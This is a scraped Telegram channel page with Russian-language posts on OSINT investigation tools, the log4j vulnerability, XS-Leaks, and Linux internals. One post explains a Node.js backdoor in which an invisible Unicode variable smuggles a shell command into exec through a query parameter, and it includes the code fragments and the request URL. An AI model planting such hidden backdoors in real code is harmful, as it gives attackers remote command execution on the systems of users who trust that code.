Cybred
10K subscribers
386 photos
33 videos
94 files
606 links
Download Telegram
Paliscope - еще одна Maltego-подобная платформа для проведения расследований. Позволяет собирать информацию о целях из открытых источников и делиться находками с другими исследователями.

Под капотом имеет поисковой AI-движок YOSE, умеющий агрегировать сведения из 3rd party сервисов, а также анализовать уже собранные; и Discovry - инструмент, отвечающий за хранение/менеджент собранных данных для составления кейса.

Содержит встроенный браузер с функционалом создания множества сессий, их сохранением и индексацией, поддерживается импорт различных документов, изображений, видео и почтовых сообщений. Весь найденный текст, а также объекты распознаются и также индексируется, как и информация из всех остальных медиафайлов, включая метаданные.

YOSE умеет идентифицировать: оружие, наркотики, сцены насилия и порнографию, документы, кредитные карты, деньги и прочую информацию; поддерживается импорт фотографий с лицами людей и поиск по ним (aka локальный FindFace).

На прикрепленном скриншоте - результат анализа собранных данных при помощи 4Chan-Scraper. YOSE помог отобрать информацию, относящуюся к одному конкретному человеку (в т. ч., используя контекстный анализ его постов), который занимался распространением alt-right контента на имиджборде, а также определить его криптовалютные кошельки.
Интересный и относительно новый способ бэкдоринга с использованием Unicode символов.

Присмотритесь к исходному коду - видите ли вы что-нибудь подозрительное? На скриншоте - скрипт простейшего хелсчека, который визуально выглядит безобидно, и выполняет функцию проверки работоспособности сети.

Но это только на первый взгляд. Начиная с ECMAScript 2015, все символы Unicode со свойством ID_Start могут быть использованы в коде в качестве имен переменных.

Символ под названием «HANGUL FILLER» (который, к слову, если указать в качестве ника в TG, становится некликабельным при пересылке) относится к категории «Letter, other» и является визуально невидимым, но при этом имеет свойство ID_Start и может быть использован в коде в качестве имен переменных.

Снова обратимся к коду, заменив HANGUL его escape-последовательностью:

const { timeout,\u3164 } = req.query;

Параметр timeout, который мы, используя деструктуризацию, извлекаем из req.query, не является единственным. Передав в запросе, в качестве параметра, HANGUL FILLER или любой, аналогичный ему символ (например, ZERO WITH SPACE), мы присвоим его в отдельную невидимую переменную, которую мы позже поместим в массив.

const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',\u3164
];


Далее каждый элемент массива попадает в функцию exec, которая, в свою очередь, выполняет переданные ей команды в шелле. Остается только передать url-encode HANGUL в качестве параметра к нашему эндпоинту и в качестве значения - команду, которую мы выполним в системе
http://host:8080/network_health?%E3%85%A4=<command>

Огромный плюс данного подхода в том, что, кроме того, что он не виден на первый взгляд, он не виден также и при выделении текста. Даже IDE не подсвечивают и не раскрашивают такие Unicode символы, проиндексировав исходники.
soxoj выпустил marple - инструмент, который позволяет парсить ссылки на проиндексированные поисковиками (Google и DuckDuckGo) профили пользователей с различных сайтов по юзернеймам. Желающие могут пойти на https://github.com/soxoj/marple, клонировать и потестить. Я пока еще не пробовал, но точно знаю, что давно существует множество альтернатив.

Функционал еще довольно небольшой, но зная другие его проекты (Maigret, YaSeeker, Mailcat), надеюсь, что он будет пополняться. На данный момент возникает только единственный вопрос - почему нет ротации проксей? Работая с поисковиками, это первое, о чем стоит позаботиться, особенно на старте. И это не первый раз - в тех альтернативах, о которых я говорил вышел, если и есть поддержка прокси, то только каких-то единичных, которые вы можете указать в качестве аргумента.

А зная, как Google любит подсовывать капчи со светофорами, и количество запросов, которые нужно сделать, чтобы найти нужного «кабанчика на подскоке», юзабельность подобного софта близится к нулю. На данный момент mast have инструментом в данной области как был, так и остается Searcher. Пусть он и не умеет отделять ссылки на профили от ссылок на все остальные сайты, и вообще изначально не предназначался для OSINT, зато обладает кучей возможностей, отличающих его от большинства скриптов с гитхаба.

Собственный антипаблик, поддержка не 2х, а 40ка поисковых систем, возможность задавать самому глубину поиска и куча всего другого - то, что есть в серчере и то, что хотелось бы видеть в качестве минимального набора в выпускающихся скраперах. А marple таковым, по сути, и является - прикрути ему «неразборчивый режим», позволяющий собирать все ссылки подряд.
Прошла ежегодная конференция, посвященная OSINT - conINT 2021.

Некоторые темы докладов:
Rapid Rapport: the Algorithm for building trust and liking in person or online
Alice in Onionland: Brand Infringement Attribution, Traceability and Online to Offline Actionable Intelligence
Create a Raspberry Pi OSINT Lab
Darkweb intelligence and CSAM Investigations
Hunting the FBI's Most Wanted: An OSINT Case Study
OSINT on the Ocean: Maritime Intelligence Gathering Techniques
Improving Your OSINT Skills by Inconveniencing Scammers

Трансляция на твиче: https://www.twitch.tv/videos/1210896210
Vortimo - приложение для проведения онлайн расследований от основателя компании Paterva (подарившего миру Maltego) Рулофа Темминга. Поставляется в виде десктопного приложения и расширения для браузера, которое в реальном времени записывает всю вашу сессию в браузере, архивируя локально страницы и попутно анализируя контекст.

Используя регулярные выражения, отдельно выделяет все найденные контактные данные, такие как номера телефонов или адреса электронной почты для дальнейшего обогащения при помощи некоторых сервисов, вроде Dehashed, People, Riskiq (достаточно предварительно указать API-ключи). Парсит и тегирует другую информацию: ссылки, никнеймы и хэштеги.

Как и Maltego, позволяет строить графы по собранным данным, но, не поддерживает модульную систему, за счет которой можно было бы расширять базовую функциональность. Имеет несколько вариантов лицензии, каждая из которых отличается ограничениями на количество возможных проектов - поэтому все инструменты доступны сразу из коробки.
Cats - фаззер, предназначенный, прежде всего, для WhiteBox-тестирования. Разработан специально для проверки REST API на основе принимаемого на вход YAML-файла Swagger'а.

сопутствующий Cheat Sheet по безопасности REST API от OWASP.
Forwarded from SecAtor
Merry Christmas!!!

В библиотеке log4j под Apache ночью вдруг нашлась 0-day уязвимость, приводящая к удаленному выполнению кода (RCE). К этому всему удовольствию прилагается рабочий PoC, опубликованный на GitHub.

На момент появления PoC у дырки не было даже CVE (сейчас уже есть - CVE-2021-44228). Известно, что уязвимость работает на куче сервисов, к примеру - Steam, iCloud и пр.

Эксплойту подвержены версии Apache log4j вплоть до 2.14.1. Сканирование сети на предмет уязвимых серверов уже идет (странно было бы ожидать другого при наличии рабочего PoC).

В качестве меры смягчения сначала предлагалось обновить log4j до версии 2.15.0-rc1, но буквально в течение нескольких часов был найден способ обхода исправления, поэтому теперь рекомендуют обновлять до 2.15.0-rc2. Кроме того, некоторые инфосек эксперты рекомендуют установить log4j2.formatMsgNoLookups в значение true.

Также LunaSec со ссылкой на китайцев говорят, что эксплойт не работает на версиях JDK выше 6u211, 7u201, 8u191 и 11.0.1.

Ну а вишенка на этом рождественском торте - эксплойт работает на всех версиях Minecraft начиная с 1.8.8.

Apache Foundation пьют валерьянку и молчат.

Merry Christmas, дорогие наши, Merry Christmas!!!
https://github.com/whwlsfb/Log4j2Scan
Устраивает фейерверк в Burp’е при заходе практически на любой сайт. Проверяет zero day, подставляя пэйлоад в юзерагент, но, как показывают скриншоты китайцев, иногда бывает достаточно просто подставить нужную строчку в любую форму 😅
Бородатый баг из 2013, позволяющий узнать по косвенным признакам, залогинен ли пользователь, зашедший на вашу страницу в сети, в Facebook, Twitter или GMail (или любом другом сайте, на котором вы найдете подобный вектор). Используя один из легитимных способов обхода CORS, при помощи загрузки сторонних ресурсов (таких как изображения или скрипты), возможно, используя ответ от сервера, понять, имеет ли пользователь доступ к запрашиваемому ресурсу. В данном случае был использован тег <script> и события onload и onerror, срабатывающие в зависимости от кода ответа при запросе страницы, указанной в качестве атрибута src. При загрузке страницы вернулся код >400 - ошибка, пользователь не имеет доступа к ресурсу, не залогинен и, соответственно, наоборот.

С тех пор было относительно немного райтапов с такими находками, но те, что были опубликованы - вызывают интерес и показывают более критичную поверхность для атаки - как, например, из этой статьи с посимвольным чтением секрета из Jira залогиненного пользователя при помощи обращения к одному из плагинов для построения графиков, вместе с использованием языка запросов JQL. Также в статье c недавно найденным багом в Slack описан еще один вектор с обходом защиты от подобного типа атак - заголовка SameSite, введенного в 2016 и позволяющего контроллировать случаи, когда будет отправлен запрос на сторонний запрос с Cookie, а когда - нет.

В целом механика подобных утечек схожа с CSRF, за исключением того, что вместо выполнения действия от имени пользователя, мы получаем о нем ту или иную информацию со сторонних сайтов для чтения критичных данных или деанонимизации. Каждый запрос, отправляемый в рамках атаки, называется "оракулом" и должен отвечать на вопрос "да" или "нет", составляя полноценную картину о цели.

Сайт с описанием хаков, позволяющих эксплуатировать XS-Leaks: https://xsleaks.dev/
Милые вирусы из 90х

Найдено на просторах сети
⁤Серия статей о ядре Linux и его внутреннем устройстве.

На русский пока что переведена только первая глава, в которой шаг за шагом, строка за строкой исходного кода (буквально!) автор рассказывает об инициализации ядра - начиная с момента, как ядро распаковано и до запуска ядром первого процесса:
Первые шаги после декомпрессии ядра - описывает первые шаги в ядре.
Начальная обработка прерываний и исключений - описывает инициализацию начальных прерываний и начального обработчика ошибки страницы.
Последние приготовления перед точкой входа в ядро - описывает последние приготовления перед вызовом start_kernel.
Точка входа в ядро - описывает первые шаги в общем коде ядра.
Продолжение архитектурно-зависимой инициализации - описывает архитектурно-зависимую инициализацию.
Архитектурно-зависимая инициализация, снова... - описывает продолжение процесса архитектурно-зависимой инициализации.
Конец архитектурно-зависимой инициализации, почти... - описывает конец setup_arch.
Инициализация планировщика - описывает подготовку перед инициализацией и саму инициализацию планировщика.
Инициализация RCU - описывает инициализацию RCU.
Конец инициализации - последняя часть об инициализации ядра Linux.

https://github.com/0xAX/linux-insides